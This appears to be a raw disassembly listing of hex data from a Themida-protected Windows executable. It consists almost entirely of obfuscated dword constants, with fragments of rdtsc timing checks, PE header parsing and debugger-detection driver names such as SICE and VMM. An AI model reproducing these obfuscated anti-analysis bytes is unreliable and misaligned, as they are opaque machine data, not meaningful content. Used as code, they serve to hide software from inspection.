		dd 6A61E96Fh, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 16042444h, 43000000h, 92BCC353h, 85B509AEh, 8D07E401h
		dd 0E7AE92B5h, 0C59D2907h, 8D07E414h, 0E43359BDh, 2D953107h
		dd 8007E41Ah, 840F003Eh, 61h, 9D9D29h, 6AA407E4h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1A042444h, 40000000h
		dd 42E4C350h, 0CCA2D8C5h, 0FFC9E91Dh, 6AFFFFh, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h
		dd 144866C3h, 0E91EE8CBh, 0Dh, 0A1D575Ah, 9D78C379h, 0CC71D186h
		dd 0F5C02B1Ah, 56006AAAh, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1D04h, 0C3564600h, 0AFE915F9h, 0E59C6D30h
		dd 8B60874Eh, 0F1BF66CFh, 12E961EBh, 29000000h,	698C478Dh
		dd 6C3B71A6h, 44C1284Eh, 8620B84Fh, 7B83Eh, 6A0000h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h
		dd 0A1F30BC3h, 1DEE8929h, 0C7247F1Bh, 0E40AD985h, 107h
		dd 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1904h
		dd 0C3534300h, 2D5A2E42h, 0F609695h, 683h, 99D8900h, 0BF07E432h
		dd 7FFE391Dh, 8D8DFC61h, 7E44FE7h, 14E960h, 0CB5D0000h
		dd 0B56AB4D3h, 0B97DD1DAh, 0BAA6D074h, 0B4ABCCD0h, 8D89DC82h
		dd 7E42C01h, 6AE1FF61h,	3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 15042444h, 47000000h, 0C196C357h
dword_5BEB6C	dd 0C245C8Bh, 0E855h, 815D0000h, 0E7C6EBEDh, 0B8838B07h
					; DATA XREF: Themida_:0058457Co
		dd 89000000h, 0E7AC9685h, 0D2858D07h, 8907E7C4h, 0B883h
		dd 0C0335D00h, 55006AC3h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1604h, 0C3554500h, 897C6157h, 0E422059Dh
		dd 0E1852907h, 8907E413h, 0E418D985h, 0BE907h, 47CD0000h
		dd 0CE1B464Ch, 9BC9940Ch, 952960B9h, 7E418B5h, 0C9C4858Dh
		dd 850F07E7h, 1, 0DE990F8h, 26000000h, 7D19F2ACh, 0F0BF5831h
		dd 8806A096h, 16850F50h, 50000000h, 0F525052h, 0F585A31h
		dd 5E931h, 69330000h, 5A3BBA93h, 6A9058h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 140424h, 50400000h, 810F03C3h
		dd 6, 20DB589h,	858907E4h, 7E41F29h, 35FF64h, 6A000000h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1D042444h
		dd 43000000h, 0E4B4C353h, 9BB32C96h, 0A4BAD2EBh, 6810Fh
		dd 0B5310000h, 7E42631h, 258964h, 0F9000000h, 0CA5B858Dh
		dd 810F07E7h, 15h, 10E9h, 0E4D0C200h, 0AA2B60A2h, 0E781757Ah
		dd 5DABC372h, 160896Fh,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Ch, 0FEC35343h, 0AFA342A2h, 6296A28Ah, 14E9FCh
		dd 0D1620000h, 0B1CBCBD5h, 0CB86D70Fh, 2C9C3E22h, 93DA7FD1h
		dd 85C605FDh, 7E42C2Dh,	0AE9604Fh, 0BB000000h, 34D295C1h
		dd 6C13D118h, 0B4BE6686h, 4E861DFh, 2A000000h, 50FEC874h
		dd 0DE952h, 0BFC70000h,	914758A9h, 87BCB3BFh, 0F8555EAh
		dd 60525031h, 0E9310F61h, 10h, 4ED891D6h, 7A52213Ch, 666D024Dh
		dd 33D1B816h, 585A585Ah, 0FE950h, 0E2FE0000h, 0ADF17EE9h
		dd 88C62AECh, 0FFB6A56Ch, 24448B26h, 0EE904h, 5FF50000h
		dd 0ACCA082Dh, 73F31D56h, 71F6363Bh, 840F008Bh,	8, 2830Fh
		dd 61600000h, 4244489h,	0A880Fh, 52500000h, 310F6160h
		dd 585A6160h, 6850F58h,	29000000h, 0E4216585h, 41B5FF07h
		dd 6A07E421h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 16042444h, 43000000h, 1EB7C353h, 5DBD012Ch, 8907E435h
		dd 0E406F59Dh, 0A7858D07h, 6007E7B0h, 25CD8D8Bh, 0DE907E4h
		dd 0DA000000h, 0C42D2356h, 653726E5h, 0B85B71C6h, 6AD0FF61h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1D042444h
		dd 43000000h, 9036C353h, 3B0711E1h, 0CBAEAAAh, 0A860Fh
		dd 89600000h, 0E42FF995h, 61C38A07h, 0B5E9h, 0FA8B6000h
		dd 2F7DB501h, 0E96107E4h, 0Fh, 742C1184h, 26ABD6E5h, 94AD292Dh
		db 68h,	4Eh, 0Ch
byte_5BEE4F	db 8Bh			; DATA XREF: Themida_:005843B4o
		dd 550C245Ch, 0E8h, 0ED815D00h,	7E7C9CEh, 19D858Bh, 858907E4h
		dd 7E42141h, 1DE1858Bh,	858907E4h, 7E41D89h, 0DE1858Bh
		dd 858907E4h, 7E401CDh,	2C2D85C6h, 0C70007E4h, 0E7B21285h
		dd 7, 5B858D00h, 8907E7CAh, 0B883h, 0C0335D00h,	57006AC3h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1D04h, 0C3574700h
		dd 4F0AE388h, 0AF6B2CAEh, 6AC9A2h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 140424h, 57470000h, 74BC52C3h, 10012FFh
		dd 0E41CFD85h, 0A1BD0907h, 6407E40Eh, 58Fh, 6A0000h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h
		dd 0C5A555C3h, 0FC04C483h, 83E961h, 51530000h, 8B575652h
		dd 661C245Ch, 5A4D3B81h, 68850Fh, 0B70F0000h, 0D8033C43h
		dd 503B8166h, 57850F45h, 8B000000h, 5C03785Bh, 738B1C24h
		dd 24740324h, 7B8B561Ch, 1C738B20h, 20247C03h, 20247403h
		dd 0FFC983FCh, 245C8B41h, 3178B1Ch, 83202454h, 28A04C7h
		dd 874C084h, 0E875033Ah, 0F2EB4243h, 0E075033Ah, 0FE1D15Fh
		dd 8B0F04B7h, 44038604h, 5E5F1C24h, 0C25B595Ah,	0C0330008h
		dd 0FFFFF1E9h, 0E8CA8BFFh, 0Eh,	0C18899Bh, 958815BEh, 0D7BDF4C3h
		dd 0E081D964h, 3A2D4D64h, 0D8B8665Fh, 0B0C7817Dh, 81000063h
		dd 76A19ED8h, 18C8687Bh, 81660000h, 598664F6h, 6B35D4BEh
		dd 0F178B66h, 180h, 0EA81F500h,	41613437h, 80F68166h, 5DEA816Ah
		dd 0F400A23h, 0F281D9B7h, 51A03303h, 48C0Fh, 0BB660000h
		dd 0F552B892h, 6E9078Fh, 85000000h, 3CEEA63Ch, 4EF83C1h
		dd 81DF8B66h, 1E9h, 0B2850F00h,	0E9FFFFFFh, 0Ch, 0BC0343B1h
		dd 0F7891077h, 6D4C84h,	464934EBh, 52474D53h, 4B562020h
		dd 20202044h, 4D562020h, 2020204Dh, 57562020h, 32334E49h
		dd 58562020h, 52444C44h, 2020h,	2 dup(0)
		dd 0ACE90000h, 6A000007h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 14042444h, 43000000h, 609CC353h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 0F8C35141h, 1F3CAC58h
		dd 7088DAF2h, 0F1B70F60h, 8A0Fh, 0C7610000h, 0E7CBE385h
		dd 7, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1A04h, 0C3504000h, 91805CCBh, 0F8017042h, 0EE9h, 0E0FE9800h
		dd 0D6795746h, 2DBC6117h, 8B612F97h, 50006AC6h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1804h,	0C3504000h, 1A42630Eh
		dd 0C8C0FB2h, 0F000000h, 689h, 850F00h,	0F000000h, 18Dh
		dd 0B70FF900h, 53006AD8h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1A04h, 0C3534300h, 0E33EF3B2h, 0F512BB20h
		dd 6A10E8C1h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 14042444h, 42000000h, 0F73C352h, 185h, 0C166FC00h, 6A08C8h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h
		dd 0FFAEE0C3h, 0F279FBEEh, 10E9h, 0E1A2D700h, 63E76833h
		dd 0A3C4C3A5h, 0B07E4609h, 0E78589B4h, 0F507E7CBh, 0CBC166F9h
		dd 13E96008h, 5C000000h, 0D3A80EE5h, 87EFA7E3h,	0C681227h
		dd 0FCBB8AEEh, 8361ED56h, 850F40FBh, 6Ch, 0E851006Ah, 3
		dd 59C35920h, 4244C89h,	4244481h, 1Ch, 0F6C35141h, 697FB625h
		dd 9B1FD67h, 0BBBD8DF5h, 6A07E7CBh, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1A042444h, 43000000h, 0C3DCC353h
		dd 0DB4FFD6Dh, 0BF0F609Fh, 47B966C8h, 5360616Ch, 5BAFEA81h
		dd 815E160Dh, 39DEC0E7h, 94E96150h, 0F9000001h,	0F0DFB83h
		dd 6F85h, 66606000h, 8E01F781h,	0E8615951h, 11h, 0B6107EA6h
		dd 0CB5538BCh, 9C3A604Bh, 0F98B7A48h, 11E913h, 0D18A0000h
		dd 0E0CEE74Dh, 655F3D36h, 4AD9CCBEh, 5B4DBAB5h,	0C3BD8D61h
		dd 0F907E7CBh, 0F88B6660h, 40E961F8h, 60000001h, 13E9h
		dd 2DFBB200h, 0A463D86Ch, 0A09286BCh, 7D1BEBE2h, 17FD050Bh
		dd 58C0Fh, 81660000h, 6148D5E2h, 0F01FB83h, 7685h, 0F860F500h
		dd 0FE8h, 8E99B300h, 0E7900C0Ah, 99B6F7DBh, 0EEB2C3ABh
		dd 0AE9h, 6AA08A00h, 0C4E04C29h, 5A1BFC6Eh, 0CBBD8D61h
		dd 6A07E7CBh, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 14042444h, 40000000h, 0F936C350h, 0C1E9F5h, 6A0000h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h
		dd 0D73B32C3h, 0E56BD222h, 83FC38A3h, 850F2AFBh, 49h, 61F96060h
		dd 0F1816660h, 0C18BC65Bh, 0BD8D6161h, 7E7CBD3h, 0E850006Ah
		db 3
byte_5BF381	db 3 dup(0)		; DATA XREF: Themida_:005957E3o
		dd 58C35820h, 4244489h,	4244481h, 14h, 2EC35040h, 5DE9FCh
		dd 0EE90000h, 1A000000h, 333945E7h, 8CB8AB20h, 2B97C9E8h
		dd 27FB8383h, 326850Fh,	8DF50000h, 0E7CBDBBDh, 57006A07h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1704h, 0C3574700h
		dd 8F0C9754h, 0AE9h, 5B692B00h,	25497930h, 60539D5Fh, 6B5DBA66h
		dd 870Fh, 89610000h, 0E7CBEBBDh, 0F08B6007h, 2820Fh, 61600000h
		dd 0C88C6661h, 14800Fh,	0FE90000h, 0
		dd 1B29133Ch, 2DCC52EBh, 8E4A1827h, 6E95435h, 8C000000h
		dd 89F18273h, 6A032486h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 16042444h, 41000000h, 97D8C351h, 13E930h
		dd 65890000h, 0E544438h, 4D13A069h, 7E97D01h, 0A3439183h
		dd 0FC00ABEh, 1D085h, 8D0F6000h, 5, 3AE38166h, 0D98B6643h
		dd 41B86061h, 603030D0h, 80F18B66h, 61610EEFh, 0D2AAB58Dh
		dd 8BFC07E7h, 0E7D35385h, 55006A07h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1604h,	0C3554500h, 92EE1E29h
		dd 9E95250h, 15000000h,	0B4B1CE66h, 64359E40h, 0AE9310Fh
		dd 43000000h, 0A180CC57h, 1D1732B8h, 50585A4Ah,	0A800Fh
		dd 52500000h, 310F6160h, 585A6160h, 55006A92h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1A04h,	0C3554500h, 0A9896A00h
		dd 0E9AC3E32h, 0Eh, 0B0635D0h, 0D42A0A74h, 9561CE16h, 10F9972h
		dd 60FE244Ch, 0BE9FCh, 62260000h, 419C6932h, 8E52ADA7h
		dd 6A5A610Dh, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 15042444h, 41000000h, 0D386C351h, 6A24C283h,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1D042444h, 42000000h
		dd 85C352h, 0D0431011h,	31B26CDFh, 728966FCh, 88C0FFCh
		dd 0F000000h, 28Fh, 0C1616000h,	666010CEh, 0E97A56BAh
		dd 0Fh,	45114F13h, 0B57158A3h, 5DC6B93Fh, 6164F59Ch, 2728966h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 0DAC35343h
		dd 4F3FDBAFh, 0FC99D8Dh, 1582h,	9E96000h, 89000000h, 6D66F2D3h
		dd 9A883442h, 0A3E88166h, 4CD61D5h, 0E851006Ah,	3, 59C35920h
		dd 4244C89h, 4244481h, 15h, 0D6C35141h,	9FE9F901h, 6A000000h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 15042444h
		dd 47000000h, 5778C357h, 81B66060h, 61F861F5h, 53858BF9h
		dd 6A07E7D3h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 14042444h, 40000000h, 0E99BC350h, 5,	7341B011h, 6E921h
		dd 53E00000h, 0BFA3D2AAh, 0D2AAB58Dh, 8DFC07E7h, 0E7841785h
		dd 51006A07h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1404h
		dd 0C3514100h, 0F8D0FF94h, 11E9h, 0FE7F9500h, 53C9BC9Dh
		dd 0DD24337Dh, 38137D73h, 85896DF2h, 7E7CBE3h, 168D0Fh
		dd 870F0000h, 10h, 0BE9h, 72B4DB00h, 0B09ED5E2h, 0A2848D94h
		dd 8B666061h, 0A2B966D6h, 858B61C7h, 7E7CBE3h, 18C0Fh
		dd 0C3F90000h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Dh,	8EC35747h, 0FFCFC336h, 0F9650019h, 78E0F65h, 0F000000h
		dd 18Dh, 6660F800h, 66DA22BFh, 0B2BC281h, 6A6061h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 190424h, 50400000h
		dd 5DC8CCC3h, 83CEF4BEh, 0E7D353BDh, 850F0007h,	5Bh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 79C35646h, 60AF42F6h
		dd 3810Fh, 0F4800000h, 0CE81665Eh, 0C76195F4h, 0E7D35385h
		dd 1013F07h, 55006A00h,	3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1904h, 0C3554500h, 144D2CB8h, 0E9FC44FEh, 18h, 12850Fh
		dd 0DE90000h, 10000000h, 0ACCF5A40h, 43809EE5h,	0BEC35740h
		dd 20CDh, 0C00B0000h, 708D3774h, 0EBBD8B0Ch, 0B907E7CBh
		dd 8, 492275A6h, 488BFA75h, 0E79D8B30h,	3B07E7CBh, 157F3458h
		dd 0D26BD38Bh, 8BCA0304h, 0E3858901h, 0EB07E7CBh, 0EB008B04h
		dd 858B61C5h, 7E7CBE3h,	8060F5CFh, 8B61A6F0h, 13E8C0h
		dd 5D370000h, 0F87DB603h, 2E9A4179h, 36CBAA62h,	0C0DE8CC6h
		dd 0B70F59EAh, 88C181DBh, 0FC00005Ah, 3E09B3BAh, 0BCC28149h
		dd 60B6C20Ch, 11C8AEBBh, 318B613Ah, 0BBCB8166h,	22C68155h
		dd 0F67386Ah, 108Fh, 7E96000h, 2A000000h, 0A4C0589Ch, 0DF8B797Bh
		dd 0C8EE8161h, 8A537397h, 43F681FEh, 662AA2D2h,	82B8F081h
		dd 0CE956h, 0E3540000h,	3A9D84F6h, 0B26D96B7h, 18F7FE8h
		dd 10E952h, 83010000h, 4AC79DABh, 648DF453h, 42D090DFh
		dd 835804F9h, 0F4A04E9h, 2285h,	8E900h,	0C84B0000h, 0EF0EA292h
		dd 23E93164h, 7D000000h, 0F06712Bh, 7C0C16D2h, 561D4B46h
		dd 5741274Ch, 0F595060h, 5F61C6B7h, 0FFFF65E9h,	9B02BBFFh
		dd 48E90578h
		db 1, 2	dup(0)
byte_5BF907	db 48h			; DATA XREF: Themida_:00585024o
					; Themida_:005854A0o
		dd 4C000000h, 50000000h, 54000000h, 58000000h, 5C000000h
		dd 60000000h, 64000000h, 0A8000000h, 0AC000000h, 0B0000000h
		dd 0B4000000h, 0B8000000h, 0BC000000h, 0C0000000h, 0C4000000h
		dd 0C8000000h, 0CC000000h, 0D0000000h, 0D4000000h, 0D8000000h
		dd 0DC000000h, 0E0000000h, 0E4000000h, 38h dup(0)
		dd 67000000h, 3005BF9h,	8D00B2C2h, 0E7D47C85h, 9E96007h
		dd 56000000h, 0CE257EB5h, 8EE952B6h, 2B998589h,	896107E4h
		dd 0E7D5BC85h, 15853107h, 0C607E430h, 0E42C2D85h, 81665407h
		dd 68CFB2D2h, 0FBE1882Eh, 7243481h, 0E91583E0h,	0Bh, 0DE39E678h
		dd 44EFEEABh, 0FFC619EDh, 0E42141B5h, 8C0FF807h, 4, 5E5F5652h
		dd 0B0A7858Dh, 0D0FF07E7h, 0D698D8Bh, 9D8907E4h, 7E41815h
		dd 0D5C08589h, 0B50907E7h, 7E40729h, 47E9h
		db 0, 0F5h
word_5BFAD6	dw 8B56h		; DATA XREF: Themida_:00582630o
					; Themida_:005847B8o ...
		dd 0E7D5BCB5h, 83068907h, 0E7D5BC85h, 0C35E0407h
dword_5BFAE8	dd 7CB58D60h, 0EB07E7D4h, 6A560Fh, 95FF36FFh, 7E7D5C0h
					; DATA XREF: Themida_:0058441Co
		dd 4C6835Eh, 75003E83h,	81C361ECh, 4D14B3F3h, 0AE962h
		dd 167A0000h, 1B6C9624h, 0E7D104CCh, 0D65D858Dh, 8D8907E7h
		dd 7E41675h, 1F918589h,	2E907E4h, 0D3000001h, 975B6640h
		dd 838A055Ch, 1D76A188h, 0DD7A0E0Ah, 3733538Fh,	557D2F6Dh
		dd 7F2D773Dh, 7DD77DD5h, 6DF73D57h, 73D575DFh, 3D577DD7h
		dd 0D55FEDF7h, 37335375h, 557D2F6Dh, 7F2D773Dh,	7DD77DD5h
		dd 6D171E57h, 602075DFh, 20206020h, 2060E0E0h, 0F77B68ACh
		dd 20A1E4A9h, 0A693B2D0h, 0B99DB7EDh, 0ACA3F291h, 60206020h
		dd 20206020h, 2060E0E0h, 0A335375h, 557D2F0Dh, 60206020h
		dd 0A7286020h, 50F0362Bh, 0B6F360C9h, 0F796A1EFh, 0E3A7B4E0h
		dd 0F47192B8h, 6DB9E9B3h, 602060F7h, 60206020h,	6DF72020h
		dd 73351ADFh, 3D577DD7h, 0D55FEDF7h, 37335375h,	557D2F6Dh
		dd 7F2D773Dh, 7DD77DD5h, 6DF73D57h, 73D575DFh, 3D577DD7h
		dd 0D55FEDF7h, 37335375h, 357D2F6Dh, 0E0A1Eh, 0D25D3407h
		dd 1E59A0A3h, 7	dup(0)
		dd 0D28E900h, 7680000h,	0E907E7DAh, 0FFFCA643h,	0E7DB3968h
		dd 0A639E907h, 4268FFFCh, 0E907E7DCh, 0FFFCA62Fh, 0E7DD3068h
		dd 0A625E907h, 0AE68FFFCh, 0E907E7DDh, 0FFFCA61Bh, 0E7DE7B68h
		dd 0A611E907h, 0C968FFFCh, 0E907E7DFh, 0FFFCA607h, 0E7E08C68h
		dd 0A5FDE907h, 3F68FFFCh, 0E907E7E1h, 0FFFCA5F3h, 0E7E21B68h
		dd 0A5E9E907h, 0F768FFFCh, 0E907E7E2h, 0FFFCA5DFh, 0E5799B73h
		dd 42D6F6CFh, 0A236502Ch, 599AD8Ch, 64F814EFh, 11EC658Bh
		dd 714B61F5h, 0CBA9BF53h, 2E0B21B5h, 1FCF8216h,	0A578DDA2h
		dd 0A5347913h, 29617956h, 5430815Bh, 54BBDA3Ah,	329A6268h
		dd 7F3DA1D9h, 0DAEC04E1h, 3916093Dh, 0EDC710EEh, 891D76CFh
		dd 3989256Ah, 0A60F62BCh, 8FC73013h, 38CCE4C1h,	20FA4522h
		dd 0ED51FFBh, 0E7404324h, 0F687C5Bh, 3B502AD7h,	8A5313A6h
		dd 3B8663DAh, 9AEA4361h, 3BC4BB38h, 329213A6h, 0A63CCEB5h
		dd 0CA238C13h, 5ABC96B8h, 5AC5E1BCh, 13A63CA5h,	0AF54D131h
		dd 2B13A63Ch, 3D5769C2h, 0E63A4160h, 6B06F8B5h,	0A61409EEh
		dd 35CC513h, 0C7A472AAh, 703977AFh, 216C4934h, 55F02848h
		dd 823AACFCh, 12F1EF06h, 0C49BBDCFh, 0D877B23Bh, 0C8E4BF5Dh
		dd 5A817B6h, 56400000h,	97296179h, 7B843825h, 35B2D1B3h
		dd 1442E94Eh, 384AA30Ch, 4122411Eh, 2A737E79h, 0B43633Ch
		dd 2ABE1770h, 3E10DE50h, 0D37249C5h, 1A526A47h,	454A6D7Fh
		dd 3AB71969h, 1442BA45h, 0B896A811h, 0A6A9B13Bh, 5E96FF13h
		dd 0A68ECEB1h, 386C7D13h, 77EF7B84h, 355CD8h, 4D850000h
		dd 9F1C6C42h, 13A6A9E9h, 59063EA7h, 13A6AAA6h, 2C501425h
		dd 0D87807D3h, 344827C5h, 0BD8322h, 5A30000h, 0E299162Bh
		dd 7013A6A6h, 4822AE07h, 5643182Ah, 5B296179h, 5E2C6480h
		dd 63316981h, 801E6E86h, 0B8538BA3h, 1D8F84A6h,	181442A3h
		dd 798F233Bh, 754C849Ch, 0C744941Ah, 13A6B04Dh,	0F716AA13h
		dd 64C61698h, 0A6B810E7h, 4355BE13h, 51E7E865h,	3AAC1440h
		dd 47FEF791h, 0DAB7431Dh, 68D1B0C2h, 839F7A18h,	0AFFED9EFh
		dd 0BC43C0D5h, 1A1B8923h, 0EFCC58B1h, 0AD2A7ED7h, 7A623299h
		dd 0A07B43Ah, 855D0000h, 0E0B9CF63h, 3A162CC0h,	97768C20h
		dd 0FED9EF83h, 8F754EE2h, 4BDFFBD6h, 0A93D5B35h, 0B9FB593h
		dd 6C0018F5h, 0F78C09B9h, 6313A57Ah, 7B568F1Eh,	0D8B5CB5Fh
		dd 4D5B2CC0h, 445C3942h, 681E9BEBh, 2613A6A9h, 8B1126B6h
		dd 92E23CCCh, 0A6566E15h, 2A83EC13h, 4FB78DAh, 9713A656h
		dd 0CF6AA2BAh, 0E909E27Eh, 0ABBD16B1h, 3E153E5h, 74BBBE35h
		dd 532C2537h, 0F813A686h, 0C9A644A6h, 73DE79B1h, 13A6868Ch
		dd 0C617350Fh, 0F6AE4B5Dh, 314725C3h, 34502BF9h, 11EEC9DBh
		dd 0C6D877EBh, 0E2h, 19F492EFh,	9E2AC5FDh, 7A94A6C4h, 6A118E9Dh
		dd 0E81442A0h, 0CDB22F7Fh, 891442A0h, 0C18FC720h, 0E592CAE6h
		dd 1442A3EBh, 0E579916Eh, 0C8A7F2CFh, 6D0B5BB4h, 0A0667890h
		dd 19579C0Eh, 5CCD4C88h, 22E88F0Ch, 0FD661442h,	0E7C7C8EBh
		dd 9C822597h, 0CFD845C5h, 154D6743h, 0D8A687Ah,	13A63E0Bh
		dd 3D5CF059h, 8F0C5C52h, 1440D833h, 0EA88D841h,	23BEF60Ch
		dd 0A338BC3h, 32448C30h, 0BFDBB654h, 1E3A152Bh,	32A417CAh
		dd 5EE42462h, 8D5h, 195B78Fh, 5EF212EBh, 0BE526C48h, 21B5C9A8h
		dd 8014300Bh, 2D0841A7h, 8D677D11h, 0E7C5DB6Fh,	4A273DD1h
		dd 3BEB9E32h, 0A57B39BEh, 0C1509513h, 0CB5F7B56h, 2D7453F1h
		dd 67023A4Eh
dword_5C0000	dd 0C744D60Eh, 1442A030h, 50DC359Eh, 8A255D71h,	69815E78h
					; DATA XREF: Themida_:005829A0o
		dd 795604D5h, 7E5B2961h, 63ABD266h
		db 0EDh, 0A2h, 0Ch
byte_5C0023	db 0BCh			; DATA XREF: Themida_:00584008o
		dd 0A0F6E85Ah, 40A0B493h, 24FFABh, 83CD419Bh, 0EBE4F64Fh
		dd 13A6643Dh, 690E8BEBh, 0E613A7B4h, 0A7B49269h, 86D74013h
		dd 0B4D2A926h, 178013A7h, 6C5C65BEh, 62DFF4CEh
dword_5C005C	dd 13A7B49Dh, 3F77D039h, 0CC9992A4h, 52ED6FC0h,	6FD7A3Dh
					; DATA XREF: ___:off_444E7Co
		dd 0D412EF29h, 50C2126Bh, 1AC0F527h, 0AA889A36h, 0B37132Dh
		dd 94D04215h, 2B942D23h, 0E0857AF7h, 0E8511AD3h, 359E7D8Fh
		dd 456926FDh, 502078F5h, 89F21D34h, 0A6BE9B39h,	0C7C63812h
		dd 42E04CE6h, 0F80EEC78h, 0F91325C0h, 6CCFD1Ch,	0E05C62BFh
		dd 2EB83387h, 57975B85h, 7CCD1h, 9EC09800h, 0FB1BF40Ah
		dd 5B755167h, 0BED2B1C7h, 1D39142Ah, 114AB089h,	70861A36h
		dd 0CEE47896h, 3046DAF0h, 0F4A73B53h, 7C30C744h, 599E13A5h
		dd 617956CAh, 6A3D5229h, 0F8D17D30h, 0A22078D8h, 0C967B710h
		dd 0A9C5A0EDh, 457DD671h, 58BA98AAh, 0BA94DBBAh, 70C9649Ch
		dd 5229A638h, 1442ADh, 332C3E97h, 13A69F49h, 0EB0A9E07h
		dd 58BA0AA4h, 398274E6h, 6A7CCF0Ah, 414A0B71h, 1060C914h
		dd 2D7D9572h, 0B5A94ECBh, 0BC251B8Eh, 957288AAh, 0B48F2D7Dh
		dd 0B55F24A1h, 92FB1B8Eh, 976CE939h, 431B8EB5h,	2B02C8DAh
		dd 7DFA4A64h, 1C69632Eh, 0A54393FCh, 61CB0C8h, 2D91129h
		dd 5FD1218Dh, 0B330D269h, 3F185CCh, 9CC1218Ah, 2E0C1E7Bh
		dd 21F65ACCh, 0AD9567A3h, 0F804A29Bh, 0B6520415h, 1266BFDBh
		dd 5266B5E3h, 0DEBA4080h, 86000006h, 0E2F88CAEh, 3F55E909h
		dd 9FB54963h, 218ACC0h,	9E770B27h, 824FF58h, 66845E74h
		dd 0C8DEBCD2h, 29411E34h, 0B532E295h, 13A57DCEh, 4DB8478Ch
		dd 3F87542h, 941442A0h,	0E14A9BBBh, 65F7955h, 0F23918B6h
		dd 90A2FB17h, 76FE35B2h, 20BC13A5h, 55F02846h, 310EACFCh
		dd 95EE0CE6h, 0F60EEB01h, 0D3A8E7BEh, 8A3DBF9h,	18E25FAFh
		dd 0B6144145h, 1406F94Dh, 31716232h, 660ABh, 0A2C0400h
		dd 67876076h, 0C7E1BDD3h, 2A3E1D33h, 89A58096h,	7DD61CF5h
		dd 0DCF286A2h, 3A50E402h, 9CB2465Ch, 6013A7BFh,	7D4C33B0h
		dd 0C50A13A5h, 0B3309236h, 1442A0CCh, 0F515EE8Ah, 28678A9Ch
		dd 43B93686h, 1113A577h, 0DDBA58A8h, 3E1B31C5h,	7817EE26h
		dd 0B40D2703h, 0AEB8E764h, 5671442h, 0E5126A3h,	94FD1B8Dh
		dd 8D0E5229h, 0CCECC51Bh, 2100127Bh, 890668B8h,	1B8D0EF2h
		dd 0CCEAC460h, 0D1A62373h, 7D1B8D0Eh, 86240214h, 23FD91A9h
		dd 0B4A659B1h, 260369CEh, 89A3B50Eh, 0D24494ACh, 0DC98F2Ch
		dd 542BA8CCh, 21B8D42h,	682E4099h, 60B0FE91h, 6955C5E3h
		dd 5D23931Ch, 14E59CD1h, 9970C41Dh, 0F25A4B0Ch,	5932CB2h
		dd 0F9D10000h, 542D43D7h, 0AE8AA034h, 0BEA0094h, 724D63F7h
		dd 3E9C256h, 0BF536F4Ah, 1DB1CFA9h, 7F132907h, 0E0748C69h
		dd 7B007D2Dh, 0D713A57Eh, 79560392h, 7E5B2961h,	0DCB3D266h
		dd 8B0582D2h, 0C913A6B3h, 0D7EDCB69h, 0A6B4976Ch, 81DA4313h
		dd 0B4E39C49h, 576813A6h, 9906F2Fh, 0A406D878h,	0A6BC5027h
		dd 0CEE6C313h, 6302147Dh, 77h, 0EAEF1183h, 0BF57B20Ah
		dd 6816489Fh, 293B94F3h, 15F49254h, 316544FAh, 5FB84C56h
		dd 49652A4Dh, 1DF997F9h, 1E30CB03h, 0A62C6F25h,	4FCC2E13h
		dd 13A62EA8h, 0CCABBD26h, 0DF385630h, 7B651D8Fh, 39F43C98h
		dd 700B435Dh, 923F0517h, 13A633E9h, 4A9A0C5Eh, 213B77DBh
		dd 0C7B08322h, 0E7511967h, 500C38D5h, 0D8779FAFh, 2DFE77E9h
		dd 4AD080E5h, 0A39938h,	56C20000h, 5B296179h, 0BF06D80h
		dd 0C71442A0h, 3BCD055Eh, 4EEEC3C9h, 0C3D58C39h, 7CB4CCA9h
		dd 25B9D1AEh, 4278BE30h, 91DCB914h, 0AE429BB5h,	6BA3BB98h
		dd 63B3FB94h, 0A671F8E6h, 0A93DA613h, 59A9058Ah, 40A474DCh
		dd 4D9D0614h, 54744DEBh, 314D2842h, 99AC879Dh, 8978671Ch
		dd 318AF31Bh, 324436DDh, 0A3296962h, 445h, 9125471Fh, 0EE82A27Bh
		dd 4EE2FCD8h, 0B1455938h, 10A4C09Bh, 0BD98B137h, 1DF70DA1h
